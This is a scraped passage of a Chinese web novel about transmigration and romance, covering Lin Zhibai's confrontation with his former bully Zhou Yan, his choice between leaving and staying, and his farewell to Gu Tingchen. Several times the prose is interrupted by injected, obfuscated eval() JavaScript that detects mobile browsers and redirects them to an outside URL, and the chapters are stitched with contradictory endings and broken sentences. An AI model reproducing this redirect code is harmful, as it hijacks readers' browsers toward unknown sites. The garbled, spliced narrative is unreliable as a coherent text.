“我没事。”林知白打断他,“就是有点意外。好久没见了,没想到会在这儿遇见。” 顾霆琛看着他,沉默了几秒。 “好。”他说,“我陪着你。” 林知白点点头。 但他心里,有种不好的预感。 接下来的几天,林知白一直在想周砚的事。 他想不明白。 为什么周砚会出现在这个世界? 是巧合? 还是有什么阴谋? “宿主。”小污的声音虚弱地响起,“本系统查了一下,这个世界的数据流有异常。” “什么异常?” “有人为干预的痕迹。”小污说,“好像有什么东西,强行把现实世界的人投射进来了。” 林知白的心跳漏了一拍。 “谁干的?” “不知道。”小污说,“本系统现在能量不够,查不了太深。你要小心,这个人来者不善。” 林知白沉默了。 来者不善。 他知道。 周砚从来就不是什么好人。 饭局那天,林知白换上西装,跟着顾霆琛出门。 车子在一家会所门口停下。 林知白看着那扇门,深吸一口气。 “怕吗?”顾霆琛问。 林知白摇摇头。 “别怕。”顾霆琛握住他的手,“我在。” 林知白看着他,点点头。 两个人走进会所,穿过走廊,推开包厢门。 里面已经坐了五六个人,都是西装革履的生意人模样。 林知白的目光扫过那些人—— 然后停在一个角落里。 周砚坐在那儿,端着酒杯,笑得温文尔雅。 他穿着深蓝色西装,头发梳得一丝不苟,和图书馆里那个冷漠的学长判若两人。 但他的眼睛没变。 那双眼睛,看着林知白的时候,还是带着那种高高在上的轻蔑。 “顾总来了!”有人站起来迎接。 顾霆琛带着林知白入座,位置正好在周砚对面。 “这位是周砚周总,年轻有为。”有人介绍,“周总,这位是顾霆琛顾总。” 周砚站起来,伸出手:“久仰。” 顾霆琛和他握了手,淡淡点头。 周砚的目光转向林知白,嘴角弯起一个弧度。 “这位是......”他顿了顿,笑得意味深长,“林知白?好久不见。” 包厢里安静了一秒。 所有人都看向林知白。 顾霆琛的眉头皱起来:“你们认识?” “认识。”周砚笑着说,“大学同学,挺熟的。” 林知白看着他,没有说话。 那个“挺熟”两个字,从他嘴里说出来,格外刺耳。 “是吗?”顾霆琛看向林知白,“怎么没听你说过?” 林知白笑了笑:“没什么好说的。” 周砚的眼神暗了暗,但脸上笑容不变。 “顾总,您这位......”他看了看林知白,又看向顾霆琛,“是什么关系?” 顾霆琛的手搭在林知白腰上,声音很淡:“我的人。” 周砚愣了一下,然后笑了。 “原来如此。”他说,“林知白,你运气不错。” 林知白看着他,终于开口了。 “周砚。”他说,声音很平静,“你什么时候改姓周了?你不是一直姓王吗?” 周砚的笑容僵了一下。 其他人面面相觑。 “开个玩笑。”林知白端起酒杯,“好久不见,敬你一杯。” 周砚看着他,眼神里闪过一丝危险的光。 但他还是端起酒杯,一饮而尽。 饭局继续进行。 觥筹交错,谈笑风生。 林知白安静地坐在顾霆琛身边,偶尔附和几句,大部分时候只是听着。 但他的目光,一直没离开过周砚。 周砚也在看他。 两个人的目光在空中交汇,又各自移开。 “宿主。”小污的声音响起,“他不对劲。” “我知道。” “他的数据流和这个世界不匹配。”小污说,“他真的是被投射进来的。” 林知白的心沉了下去。 被投射进来。 为什么? “林知白。”周砚突然开口,笑着看他,“你怎么不吃菜?我记得你以前挺能吃的。” 林知白看着他,没说话。 “以前在学校的时候,食堂里你总是最后一个走。”周砚继续说,语气随意得像在聊家常,“一个人吃,吃得挺慢的。” 顾霆琛的眉头皱起来。 其他人也听出不对劲了——这语气,怎么听都不像是“挺熟的同学”。 林知白放下筷子,看着周砚。 “周砚。”他说,“你想说什么?” 周砚愣了一下,然后笑了。 “没什么,就是叙叙旧。”他端起酒杯,“来,再敬你一杯。” 林知白没动。 包厢里的气氛有点尴尬。 顾霆琛的手搭上林知白的肩,声音很沉:“林知白不想喝就算了。” 周砚看着他,眼神里闪过一丝什么。 “顾总护得紧。”他笑了笑,自己把酒喝了,“挺好,挺好。” 饭局结束后,顾霆琛带着林知白离开。 走出会所,夜风扑面而来。 林知白深吸一口气,感觉心里的压抑终于松了一点。 “林知白。”顾霆琛的声音在旁边响起,“那个人,到底是谁?” 林知白看着他,沉默了几秒。 “你真的想知道?” “想。” 林知白想了想,开口了。 “他是我大学同学。我在图书馆跟他表白,他当着所有人的面说,‘你这种人也配喜欢我’。” 顾霆琛的脸色变了。 “后来他把我堵在厕所里,拍了视频,发到班级群里。”林知白继续说,“那个视频让我成了全校的笑话。走在路上都有人指指点点。” “林知白......”顾霆琛的声音沉下来。 “然后我就上天台了。”林知白笑了笑,“就是遇见小污的那个天台。” 顾霆琛愣住了。 小污? 那是什么? 林知白看着他,意识到自己说漏嘴了。 但他没有解释。 “顾霆琛。”他说,“这个人出现在这儿,不是巧合。” 顾霆琛的眉头皱起来:“什么意思?” 林知白摇摇头:“我还不知道。但你要小心他。” 顾霆琛看着他,眼神复杂。 “林知白,你是不是有什么事瞒着我?” 林知白沉默了几秒。 然后他抬起头,看着顾霆琛。 “有。”他说,“很多。但我现在不能告诉你。” 顾霆琛愣住了。 “为什么?” “因为说出来,你可能不信。”林知白笑了笑,“也可能,这个世界就塌了。” 顾霆琛看着他,眼睛里全是困惑。 但他没有追问。 他只是伸出手,把林知白拉进怀里。 “不管你瞒着我什么。”他说,“等你想说的时候,我听着。” 林知白靠在他肩上,闭上眼睛。 “好。” 那天晚上,林知白收到了周砚的消息。 是一个陌生号码发来的: 【林知白,好久不见。你变了很多。以前你不敢这么看我的。是顾霆琛给你的胆子?】 林知白看着这行字,手指在屏幕上悬了很久。 然后他打了几个字,发出去: 【你想干什么?】 周砚回复得很快: 【不干什么。就是好奇,你是怎么从一个想自杀的废物,变成顾霆琛的人的?教教我?】 林知白握着手机的手收紧了一点。 【与你无关。】 【怎么会无关呢?】周砚的回复带着嘲讽,【咱们是老同学了,我关心关心你,不行吗?】 林知白没有再回复。 他把手机关机,扔到一边。 “宿主。”小污的声音响起,“他在挑衅你。” “我知道。” “你打算怎么办?” 林知白沉默了几秒。 “我想知道,他为什么来这儿。”他说,“他背后是谁。” 小污没说话。 “小污,你能查吗?” 小污沉默了很久。 然后它开口,声音虚弱但坚定: “本系统试试。但需要时间,而且可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432119|200930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会再次休眠。” 林知白犹豫了。 “算了——” “别算了。”小污打断他,“这个人不对劲,查清楚对你有好处。本系统撑得住。” 林知白沉默了几秒。 “谢谢。”他说。 “别谢,等本系统回来再谢。”小污的声音越来越弱,“你小心点,别被他激怒了......他可能就是故意的......” 声音消失了。 林知白躺在床上,看着天花板。 窗外的月光很亮。 但他心里,有种风雨欲来的预感。 接下来的几天,周砚像幽灵一样出现在他们的生活里。 饭局、酒会、商务洽谈——只要有顾霆琛在的场合,就有周砚。 他总是笑着,说话得体,做事圆滑,让人挑不出毛病。 但林知白知道,他在盯着自己。 那种目光,像蛇盯着猎物。 “林知白。”有一天,周砚终于在走廊里拦住他,“你躲什么?” 林知白停下脚步,看着他。 “没躲。” “那你为什么每次看见我就走?” “因为不想看见你。” 周砚愣了一下,然后笑了。 “你变了。”他说,“以前你不敢这么跟我说话的。” 林知白看着他,眼神平静。 “人总是会变的。” 周砚走近一步,离他很近。 “你知道吗,我挺好奇的。”他说,声音压得很低,“你是怎么让顾霆琛看上你的?靠这张脸?还是靠别的什么?” 林知白看着他,没有说话。 周砚伸出手,想摸他的脸—— “周总。” 一个冰冷的声音在身后响起。 周砚的手顿住了。 他回过头,看见顾霆琛站在走廊那头,眼神冷得像刀。 顾霆琛走过来,站在林知白身边,手搭上他的腰。 “周总,有什么事,可以当着我的面说。”他的声音很沉,带着警告。 周砚笑了笑,退后一步。 “没什么,就是和老同学叙叙旧。”他说,“顾总别紧张。” 他转身离开。 走过林知白身边的时候,他轻声说了句话: “你躲不掉的。” 林知白站在原地,看着他的背影消失在走廊尽头。 顾霆琛看着他,眼神里全是担心。 “林知白。” “嗯?” “他跟你说了什么?” 林知白想了想。 “他说我躲不掉。” 顾霆琛的眉头皱起来。 “别怕。”他握住林知白的手,“有我在。” 林知白看着他,点点头。 但他心里知道,这件事,没那么简单。 那天晚上,林知白做了一个梦。 梦里他站在天台上,风很大。 周砚站在他面前,笑着。 “跳啊。”他说,“你不是想跳吗?跳啊。” 林知白看着脚下的深渊,没有动。 “怎么,不敢了?”周砚走近一步,“你不是很勇敢吗?敢在图书馆跟我表白?现在怎么怂了?” 林知白抬起头,看着他。 “周砚。”他说,“你为什么恨我?” 周砚愣住了。 “恨你?”他笑了,“我不恨你。我就是觉得你恶心。一个没爹没妈的穷学生,也配喜欢我?” 林知白的心抽紧了。 “所以你就毁了我?” “对。”周砚点头,“因为你让我觉得恶心。” 林知白看着他,沉默了几秒。 然后他笑了。 “周砚。”他说,“你知道吗,我现在不觉得你恶心了。” 周砚愣住了。 “我觉得你可怜。”林知白说,“你除了伤害别人,什么都不会。你活得比我惨多了。” 周砚的脸色变了。 他伸出手,想把林知白推下去—— 一只手突然从身后抱住林知白。 是顾霆琛。 他抱着林知白,退后一步,离开天台边缘。 “周砚。”他说,声音冷得像冰,“你碰他一下试试。” 周砚看着他,眼神里全是恐惧。 然后他的身体开始变淡,变透明,最后消失了。 林知白睁开眼睛。 天已经亮了。 他躺在床上,顾霆琛睡在身边,呼吸均匀。 他看着顾霆琛的睡颜,沉默了很久。 然后他轻轻靠过去,把头埋在他肩上。 窗外的阳光照进来,新的一天开始了。 但他知道,真正的战斗,才刚刚开始。 三天后,小污醒了。 它的声音虚弱但清晰: “宿主,本系统查到了。周砚是被故意投射进来的。他背后有人。” “谁?” “一个叫‘主神’的东西。”小污说,“它盯上你了。” 林知白愣住了。 主神? 那是什么? “它是所有快穿系统的掌控者。”小污的声音在发抖,“它出现的地方,一定有大事发生。宿主,你要小心——” 20. 第 20 章 三天后。 林知白坐在客厅里,盯着手机屏幕上周砚发来的最后一条消息: 【林知白,你以为躲进这个世界就安全了?主神让我告诉你,游戏才刚刚开始。】 他看了很久,然后把手机扔到一边。 “宿主。”小污的声音在脑海里响起,比之前有力气了一些,“本系统查到了更多东西。” “说。” “主神是快穿系统的创造者,掌控所有任务世界。”小污的语气很严肃,“它出现只有一种可能——有任务者违规了。” 林知白愣住了:“违规?谁?” “你。”小污说。 “我?” “你在上一个世界,也就是这个世界,停留的时间太长了。”小污解释,“任务完成后,任务者必须在24小时内离开。你已经超了整整七天。” 林知白的心沉了下去。 “那会怎么样?” “会被强制清除。”小污的声音很轻,“但主神给了你一个机会——它把周砚投射进来,让你自己选择。” “选择什么?” “选择留下来,还是回去。”小污说,“如果你选择留下来,就必须接受‘锚定’。锚定之后,你会永远留在这个世界,但也会失去所有关于系统和任务的记忆。” 林知白沉默了。 失去记忆? 忘记小污? 忘记自己是谁? “那如果选择回去呢?” “回去继续完成任务。”小污说,“八个世界全部完成后,你可以选择回到现实,或者选择一个世界留下。到时候,你还能保留所有记忆。” 林知白靠在沙发上,看着天花板。 选择。 又是选择。 他这辈子,好像一直在做选择。 选择活着,选择死去,选择穿越,选择留下。 每一次选择,都像在赌命。 “宿主。”小污的声音很轻,“你不用现在决定。主神给了三天时间。” 三天。 林知白点点头。 “我知道了。” 窗外,天色渐暗。 顾霆琛快回来了。 林知白站起来,走进厨房。 他想再做一次饭。 也许,是最后一次了。 顾霆琛回来的时候,看见林知白在厨房里忙活,愣了一下。 “又做饭?” “嗯。”林知白头也不回,“今天心情好,给你露一手。” 顾霆琛走过去,看了看锅里的东西——这次不是黑乎乎的了,至少能看出来是菜。 “进步了。”他说。 “那当然。”林知白得意地扬了扬下巴,“我可是练过的。” 顾霆琛从后面抱住他,把下巴抵在他肩上。 “今天怎么突然想做饭?” 林知白的手顿了顿。 “没什么。”他说,“就是想做。” 顾霆琛没有追问。 他只是抱着他,安静地看着他做饭。 那一刻,林知白想,如果时间能停在这儿就好了。 没有周砚,没有主神,没有选择。 只有他们两个人。 晚饭做好,四菜一汤。 顾霆琛每样都尝了一口,然后点点头。 “真的进步了。” 林知白笑了:“那是,也不看是谁做的。” 两个人吃着饭,聊着天。 聊顾霆琛公司的事,聊林知白在家干什么,聊明天想去哪儿玩。 就像所有普通的恋人一样。 吃完饭,顾霆琛去洗碗,林知白坐在客厅里看电视。 电视里在放什么综艺,笑声罐头一阵一阵的。 林知白没看进去。 他在想,三天后,他该怎么选。 “林知白。”顾霆琛洗完碗出来,在他旁边坐下,“你是不是有心事?” 林知白看着他,沉默了几秒。 “顾霆琛。”他说,“如果有一天,我突然不见了,你会怎么办?” 顾霆琛愣住了。 “什么叫突然不见了?” “就是......消失了。”林知白说,“再也找不到了。” 顾霆琛的脸色变了。 他握住林知白的手,握得很紧。 “你去哪儿,我就去哪儿。”他说,“你不见了,我就去找。找到为止。” 林知白看着他,眼眶有点热。 “如果找不到呢?” “那就一直找。”顾霆琛说,“找一辈子。” 林知白没说话。 他只是靠过去,把头靠在他肩上。 “顾霆琛。” “嗯?” “谢谢你。” 顾霆琛愣了一下:“谢什么?” 林知白没有回答。 他只是闭上眼睛,在心里说—— 谢谢你让我知道,被爱是什么感觉。 那天晚上,林知白又做梦了。 梦里他站在一片白茫茫的空间里,四周什么都没有。 只有一个声音,从四面八方传来: “林知白,三天期限到了。你选好了吗?” 是主神。 林知白深吸一口气。 “选好了。” “说。” “我选择——”他刚要开口,突然被一个声音打断。 “林知白!” 是顾霆琛的声音。 林知白猛地睁开眼睛。 天已经亮了。 顾霆琛坐在床边,看着他,眼神里全是担心。 “你做噩梦了?”他问,“一直在喊什么。” 林知白看着他,沉默了几秒。 然后他伸出手,抱住他。 “顾霆琛。”他说,“我有话跟你说。” 顾霆琛愣住了。 “什么话?” 林知白放开他,看着他的眼睛。 “我不是这个世界的人。”他说,“我来自另一个世界。我来这里,是为了完成任务。任务完成了,我就该走了。” 顾霆琛的脸色变了。 “你在说什么?” “我知道你不信。”林知白继续说,“但我必须告诉你。因为我怕,再不说,就没机会了。” 顾霆琛看着他,眼神复杂。 “什么任务?” “让这个世界的渣男真心说出‘我爱你’。”林知白说,“就是你。” 顾霆琛愣住了。 “所以......你接近我,是为了任务?” “一开始是。”林知白说,“但后来不是了。” 顾霆琛没说话。 “后来,我是真的喜欢你。”林知白说,“真的想留下来,陪你。” 顾霆琛看着他,沉默了很久。 然后他开口,声音很沉。 “你说的这些,我信。” 林知白愣住了。 “你信?” “嗯。”顾霆琛点点头,“因为我也觉得,你不像这个世界的人。” 林知白张了张嘴,说不出话。 “你有时候会发呆,会看着某个方向自言自语。”顾霆琛说,“你有时候会说一些我听不懂的词。你有时候会突然很难过,但又不告诉我为什么。” 林知白的眼眶红了。 “我以为是你心里有事,不想说。”顾霆琛握住他的手,“但我没想到,会是这种事。” “顾霆琛......” “所以现在呢?”顾霆琛打断他,“你告诉我这些,是想走吗?” 林知白沉默了。 他想走吗? 他不知道。 “林知白。”顾霆琛看着他的眼睛,“你听好。不管你来自哪里,不管你为什么要来,我都不在乎。我只在乎一件事——你想不想留下来?” 林知白的眼泪掉下来。 “我......” “想,还是不想?”顾霆琛问,“别的都不重要。就这一个问题。” 林知白看着他,看着那双眼睛里的期待和害怕。 他想起这些日子。 想起顾霆琛做的早餐,想起他喂的药,想起他守在床边三天三夜。 想起他说“我爱你”的那个瞬间。 想起苏沐说“替我好好照顾他”。 他深吸一口气。 “想。”他说,“我想留下来。” 顾霆琛的眼眶红了。 “那就留下来。”他说,“不管什么任务,什么主神,我帮你挡着。” 林知白看着他,忍不住笑了。 “你挡不住。” “挡不住也要挡。”顾霆琛说,“你是我的,谁都不能带走。” 林知白看着他,心里突然有了答案。 他知道该怎么选了。 “宿主。”小污的声音突然响起,“你决定了?” “决定了。” “留下来?” “嗯。” 小污沉默了几秒。 然后它叹了口气。 “好吧。本系统就知道会这样。”它的声音里带着无奈,“那本系统只能帮你最后一个忙了。” “什么忙?” “帮你对抗主神。”小污说,“你留下来,就必须锚定。锚定的过程很危险,主神可能会趁机抹杀你。本系统会用自己的能量护着你。” 林知白愣住了。 “那你呢?” “本系统会消失。”小污说得轻描淡写,“反正能量也快耗尽了,不如做点有意义的事。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他感觉自己的意识在一点一点模糊。 记忆在流失—— 小污的毒舌,苏沐的笑容,顾霆琛的温柔。 一个一个,像沙子一样从指缝间流走。 “林知白!”顾霆琛冲过来,抱住他,“你别走!” 林知白看着他,想说什么,但已经说不出话了。 他只能伸出手,轻轻摸了摸他的脸。 然后—— 白光吞没了一切。 不知道过了多久。 林知白睁开眼睛。 他躺在一张陌生的床上,阳光从窗户照进来,很刺眼。 他眨了眨眼,坐起来。 这是哪儿? 他看了看四周——陌生的房间,陌生的家具,陌生的摆设。 他低头看了看自己的手——熟悉,但好像又不太一样。 “你醒了?” 一个声音从门口传来。 林知白转过头。 一个男人站在那儿,手里端着托盘,上面放着早餐。 他长得很高,很好看,眼睛里带着温柔的笑意。 林知白看着他,心里突然涌起一种奇怪的感觉。 很熟悉。 好像认识了很久很久。 “你是......”他开口,声音有点哑。 男人走过来,在床边坐下。 他把托盘放在床头柜上,然后握住林知白的手。 “我是顾霆琛。”他说,“你男人。” 林知白愣住了。 顾霆琛? 这个名字......好熟悉。 可是他想不起来了。 “我......”他张了张嘴,“我不记得了。” 顾霆琛的眼眶红了。 但他笑了。 “没关系。”他说,“不记得就不记得。我们重新认识。” 林知白看着他,心里那种奇怪的感觉越来越强烈。 好像有什么东西,在心底深处轻轻跳动。 “你......”他问,“我们是怎么认识的?” 顾霆琛想了想。 “一个很长很长的故事。”他说,“等你想听的时候,我慢慢讲给你听。” 林知白点点头。 顾霆琛端起粥,吹了吹,送到他嘴边。 “来,先吃点东西。” 林知白看着那勺粥,突然愣住了。 粥里加了什么? 他想不起来。 但他知道,这是自己喜欢的味道。 他张开嘴,吃了下去。 林知白在顾霆琛的陪伴下,慢慢适应了新的生活。 他失去了所有记忆,但有些东西刻在骨子里——比如看到白玫瑰会发呆,比如听到某个名字会心跳加速,比如做梦的时候,会梦见一个声音在喊“宿主”。 他不知道那是什么意思。 但他知道,有人在等他。 21. 第 21 章 病房的门被推开时,林知白正弯着腰往包里塞东西。 他的手很稳,动作很慢,像在做一件再平常不过的事。白色的病号服已经换下,穿上了来时的衣服——那件被雨淋过、又被体温烘干的衬衫。 “林知白。” 身后传来顾霆琛的声音,沙哑,低沉,带着一点喘。 他像是跑着来的。 林知白没有回头。 他继续把东西往包里放,充电器、水杯、几张没用完的纸巾。动作不急不缓,仿佛身后那个人和他没关系。 “林知白。”顾霆琛又叫了一声,走近几步,“你干什么?” “办出院。”林知白终于直起身,把包拉链拉上,然后转过身。 顾霆琛站在门口,西装外套不知道扔哪儿了,白衬衫皱巴巴的,袖子挽到手肘。他的头发乱了,眼睛里有血丝,下巴上冒出青色的胡茬。 那个永远精致、永远掌控一切的男人,此刻狼狈得像刚从战场上逃回来。 但他站在那儿,挡住了门。 “医生说你还要观察——” “观察什么?”林知白打断他,“死不了。” 顾霆琛的眉头皱起来。 他看着林知白,看着那张平静得过分的脸,眼神里有什么东西在涌动。 “你生气了?” 林知白愣了一下,然后笑了。 很轻的笑,笑得眼睛弯起来,但眼睛里没什么笑意。 “没有。”他说,“我有什么好生气的?” “那你为什么走?” “任务完成了。”林知白说得很自然,“我要走了。” 顾霆琛愣住了。 “什么任务?” 林知白看着他,没有回答。 他只是在想,该怎么解释?说我是穿越者?说你是我的任务目标?说你只要说出那三个字,我就可以离开了? “宿主。”小污的声音在脑海里响起,虚弱但清晰,“任务进度百分之九十九,还差最后一点。” 林知白愣了一下:“什么意思?他不是说了吗?” “他说的是‘不管你是谁,我都不在乎’,不是‘我爱你’。”小污解释,“任务要求是那三个字,必须是真心的,必须是主动的,必须是对你说的。” 林知白沉默了。 所以还没完。 他还得等。 “林知白。”顾霆琛走近一步,离他更近了,“你刚才说什么任务?你要去哪儿?” 林知白抬起头,对上他的目光。 那双眼睛里有困惑,有紧张,还有一点害怕。 他想起昨天晚上,这个男人守在床边一夜没睡。 想起他喂药时的小心翼翼,想起他探额头时的手忙脚乱,想起他在走廊里吼医生的样子。 “顾霆琛。”他开口,声音很轻,“你不用管我去哪儿。你只要知道,苏沐的事处理好了,我也没事了,你可以回去过你的日子了。” 顾霆琛的脸色变了。 “我的日子?” “嗯。”林知白点点头,“该应酬应酬,该工作工作。你要是想找新的替身,也行,反正——” “林知白!” 顾霆琛的声音突然重了,震得病房里嗡嗡响。 林知白愣住了。 顾霆琛看着他,胸口剧烈起伏着。 “你以为我这些天在干什么?”他的声音沉下去,沉得发哑,“你以为我守在病房里是为什么?你以为我疯了一样找人是为什么?” 林知白没说话。 “你出事那天,我在开会。”顾霆琛说,声音开始发抖,“助理进来说你被送抢救室了,我什么都没想,摔了手机就往外跑。跑到医院,你在抢救,我进不去。我就在外面站着,站了三个小时。” 林知白听着,没有说话。 “那三个小时,我把这辈子所有的后悔都想了一遍。”顾霆琛继续说,“我想起那天饭局我走了,想起你打电话我没接,想起你在雨里一个人待了一夜。我就在想,你要是死了,我怎么办?” 他的眼眶红了。 “林知白,你知道那种感觉吗?就是突然发现,有个人比你自己还重要。重要到他一出事,你的世界就塌了。” 林知白站在原地,一动不动。 “宿主。”小污的声音轻轻响起,“他的心率一百六了,他在说真话。” 林知白没理它。 他只是看着顾霆琛,看着那双红透的眼睛。 “顾霆琛。”他开口,声音有点涩,“你知道你在说什么吗?” “我知道。” “你知道我是谁吗?” “知道。” “我是谁?” 顾霆琛看着他,一字一字说得很清楚:“你是林知白。不是苏沐的替身,不是谁的影子。你就是你。” 林知白的眼眶热了。 “那苏沐呢?” “他在我心里。”顾霆琛说,“但你也是。不一样的位置,不一样的感觉。苏沐是我的过去,你是我想要的未来。” 林知白张了张嘴,想说什么,但喉咙像被什么堵住了。 “我不知道什么是爱。”顾霆琛走近一步,离他只有半步远,“但我知道,你出事那天,我魂都没了。我知道,你醒过来的时候,我想跪下来谢老天。我知道,如果你真的走了,我这辈子都不会原谅自己。” 他伸出手,握住林知白的手。 那只手在抖。 “林知白。”他说,声音抖得厉害,“我爱你。不是因为你的脸,不是因为你是谁,是因为你是你。” 病房里安静极了。 窗外有阳光照进来,在地板上画出一道金色的斜线。 林知白看着他,看着那双眼睛里的紧张和期待。 他等这一刻,等了很久。 被当成替身的时候等,被送人的时候等,一个人在雨夜里走的时候等。 现在终于等到了。 可是—— “太晚了。”他说。 顾霆琛愣住了。 “你说什么?” 林知白看着他,眼眶里有什么东西在打转,但他没让它掉下来。 “顾霆琛,你知道吗,我听过很多次这句话了。”他说,“在每个世界,都有人对我说我爱你。说得真心,说得动情,说得我差点就信了。” 顾霆琛的脸色变了。 “但每次说完,我就要走了。”林知白继续说,“因为我来的目的,就是听这句话。听完了,就该离开了。” “你要去哪儿?” 林知白没有回答。 他只是看着顾霆琛,看着那张脸上的困惑和慌乱。 “顾霆琛,谢谢你。”他说,声音很轻,“谢谢你让我知道,我也是可以被爱的。但有些事,从一开始就注定了。” 他抽回手,拎起包。 “再见。” 他绕过顾霆琛,往门口走。 走到门口的时候,手刚碰到门把手,身后传来声音: “林知白。” 他停住了。 “我不知道你说的‘每个世界’是什么意思。”顾霆琛的声音从身后传来,“我也不知道你为什么一定要走。但我知道一件事——” 林知白没有回头。 “从今天起,不管你在哪儿,我都会找到你。”顾霆琛说,“一个世界找不到,就找下一个。这辈子找不到,就下辈子。我等你。” 林知白握着门把手的手,收紧了一点。 “宿主。”小污的声音轻轻响起,“他的感情值爆表了,这是真心的。” 林知白没说话。 他只是站在那里,背对着顾霆琛,一动不动。 很久之后,他开口了。 “顾霆琛。” “嗯?” “下辈子,如果还能遇见,你请我吃饭。” 顾霆琛愣了一下,然后笑了。 “好,请你吃一辈子。” 林知白推开门,走了出去。 走廊里很安静,消毒水的味道弥漫在空气里。 他一步一步往前走,没有回头。 走到电梯口的时候,小污的声音响起: “恭喜宿主,任务完成,获得勇气碎片·识谎。” 林知白停下脚步。 “以后你能分辨别人说的是真话还是假话了。”小污说,“这是你第一个世界的奖励。” 林知白沉默了几秒。 “那他说的是真话吗?” 小污也沉默了几秒。 “百分之百真心。”它说,“他说爱你的时候,每一个字都是真的。” 林知白闭上眼睛。 阳光从走廊尽头的窗户照进来,落在他的脸上,有点刺眼。 但他没有躲。 “走吧。”他说。 “宿主,你不回头看一眼吗?” 林知白想了想。 然后他睁开眼睛,转过身。 走廊的另一头,顾霆琛还站在病房门口,看着他。 两个人隔着长长的走廊对视。 谁都没动。 然后林知白抬起手,轻轻挥了挥。 顾霆琛也抬起手,挥了挥。 林知白转身,走进电梯。 门合上的那一刻,他听见小污的声音: “世界一结束,开始传送——” 白光闪过。 一切都消失了。 不知道过了多久。 林知白睁开眼睛,发现自己站在一片白色的空间里。 四周什么都没有,只有白茫茫的光。 “系统空间。”小污的声音响起,“每个世界结束后会在这里休息。” 林知白点点头,看着周围。 “小污,你能量恢复了?” “一点点。”小污说,“够陪你聊会儿天。” 林知白笑了笑。 “对了,你不是说每个世界结束后,会播放后续吗?” 小污沉默了两秒。 “你确定要看?” “看。” 眼前突然出现一块光屏,像投影一样。 画面里是顾霆琛。 他站在那个病房门口,看着电梯的方向,很久很久。 然后他慢慢走回病房,坐在林知白躺过的床边。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432121|200930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他坐了很久,一动不动。 然后他从口袋里掏出一样东西——是那张“吃药”的纸条,还有那张“早餐在厨房”的纸条,还有那张“我去公司了”的纸条。 他把它们一张一张铺平,叠好,收进口袋里。 画面一转。 一年后。 顾霆琛站在墓园里,面前是一块墓碑。 墓碑上写着三个字:林知白。 下面一行小字:吾爱。 他蹲下来,把一束白玫瑰放在墓碑前。 “一年了。”他说,声音很轻,“你在那边还好吗?” 风吹过,玫瑰轻轻晃动。 “我挺好的。”他继续说,“公司的事处理完了,该安排的都安排了。下周我要走了,去找你。” 林知白愣住了。 “他说什么?” 小污没回答。 画面里,顾霆琛站起来,看着墓碑。 “你说过,下辈子如果遇见,让我请你吃饭。”他笑了笑,“我怕你忘了,所以提前去等你。” 他转身离开。 画面跟着他,走出墓园,走进一家医院,躺上病床。 床头放着一张照片——是林知白趴在餐桌上睡着的样子,阳光照在他脸上。 顾霆琛看着那张照片,闭上眼睛。 心电图变成一条直线。 画面暗了下去。 林知白站在原地,一动不动。 很久之后,他开口了。 “他……自杀了?” “没有。”小污说,“胃癌晚期,查出来的时候已经扩散了。他一直没告诉你。” 林知白愣住了。 “他每天陪你,照顾你,给你做饭。”小污说,“他自己的病,一个字都没提。医生让他住院,他说‘不行,家里有人等着’。” 林知白的眼眶红了。 “他最后那段日子,其实很疼。”小污继续说,“但他每天都笑,每天都给你做饭,每天都陪你看电视。因为他知道,时间不多了。” 林知白张了张嘴,想说什么,但什么都说不出来。 “宿主。”小污的声音很轻,“他真的很爱你。” 林知白低下头,眼泪掉下来。 “我知道。”他说,“我知道。” 画面再次亮起。 这次是顾霆琛的葬礼。 苏晴来了,站在角落里哭。 还有几个林知白不认识的人,大概是他的朋友。 墓碑上刻着两个名字—— 顾霆琛,旁边是林知白。 两个名字靠在一起,中间画了一个小小的爱心。 林知白看着那个爱心,突然笑了。 笑着笑着,眼泪又流下来。 “他画的?”他问。 “嗯。”小污说,“他死前交代的,说一定要画个爱心,说你们下辈子还要在一起。” 林知白没说话。 他只是看着那个画面,看了很久很久。 直到画面慢慢变淡,最后消失。 白色的空间里又恢复了安静。 “宿主。”小污的声音响起,“你还好吗?” 林知白擦了擦眼泪,深吸一口气。 “挺好的。”他说。 “那你接下来打算怎么办?”小污问,“还有七个世界要闯。” 林知白沉默了几秒。 然后他抬起头,看着前方。 “走。”他说,“一个世界一个世界走完。然后回去,好好活着。” 小污笑了。 “这才是我认识的宿主。” 林知白也笑了。 “小污。” “嗯?” “谢谢你。” 小污愣了一下:“谢什么?” “谢谢你陪着我。”林知白说,“谢谢你在每个世界都吐槽我,在我快死的时候救我,在我难过的时候陪我。” 小污沉默了几秒。 然后它的声音响起,有点别扭: “本系统只是履行职责,别煽情。” 林知白笑出声。 “好,不煽情。” “那准备进入下一个世界了?”小污问。 “准备好了。” “下一个是校园。”小污说,“你的老本行,小心点。” 林知白点点头。 眼前白光一闪。 耳边传来铃声。 他睁开眼睛,看见明亮的教室,黑板上写着“高考倒计时30天”。 身边有人推他:“林知白,发什么呆呢?老师叫你。” 他转过头,看见一张熟悉的脸—— 金丝边眼镜,斯文有礼的笑容。 沈墨。 林知白没想到,第二个世界会是校园。 更没想到,那个戴着金丝边眼镜的学霸,会成为他这辈子最恨的人。 “宿主,小心那个眼镜男。”小污说,“他看你的眼神不对劲。” 